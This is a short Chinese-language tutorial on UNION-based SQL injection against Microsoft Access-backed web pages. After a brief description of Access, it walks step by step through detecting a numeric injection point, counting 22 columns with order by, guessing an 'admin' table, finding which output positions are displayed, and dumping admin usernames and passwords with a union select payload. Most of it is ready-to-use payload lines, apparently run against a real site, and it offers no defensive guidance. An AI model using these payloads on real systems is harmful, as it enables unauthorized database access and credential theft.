access注入 – 聯合查詢
1、access資料庫簡介
- 簡介:Microsoft Office Access是由微軟發布的關係資料庫管理系統。它結合了 MicrosoftJet Database Engine 和 圖形用戶介面兩項特點,是Microsoft Office 的系統程式之一。Microsoft Office Access是微軟把資料庫引擎的圖形用戶介面和軟體開發工具結合在一起的一個資料庫管理系統。
2、access聯合注入思路
- 判斷注入點
- 確定對應表的欄位數量
- 猜表名
- 判斷其顯示位
- 猜列名
- 爆出數據
3、注入步驟演示
3.1、判斷注入點:
- 首先我們要判斷該注入點是哪一種注入類型
- 數字型注入:
- ?id=1 and 1=1
- ?id=1 and 1=2
- 字元型注入:
- ?id=1′ and 1=1 #
- ?id=1′ and 1=2#
- 數字型注入:
- ?id=1142 and 1=1 — 頁面顯示正常
- ?id=1142 and 1=2 — 頁面顯示不正常
- 說明該注入點是數字型注入
3.2、爆欄位數量:
- ?id=1142 order by 22 —- 頁面不報錯
- ?id=1142 order by 23 —- 頁面報錯
- 說當前表的欄位數量為22
3.3、爆表名:
- 由於access的系統表不像mysql一樣具有系統索引庫,所以表名和列名都只能靠猜。。。如果通過社工、工具、經驗(比如看後台源碼的表單名字)都搞不出來的話,就只能通過偏移來試試運氣了
- ?id=1142 and exists (select * from admin) –比較幸運的是,這裡猜對了
3.4、判斷其顯示位
- ?id=1142 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
- 發現頁面只顯示了3和15,說明只有在這兩個位置中,從資料庫查詢到的數據才可以在頁面上進行輸出
3.5、猜列名
- 同猜表名
- and exists (select admin,password from admin)
- 若輸出正常說明表admin存在admin和password兩個欄位
3.6、爆出數據
- 我們已經有上述步驟猜解出了表名和相應的欄位名,接下來只需進行聯合查詢即可。
- ?id=1142 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin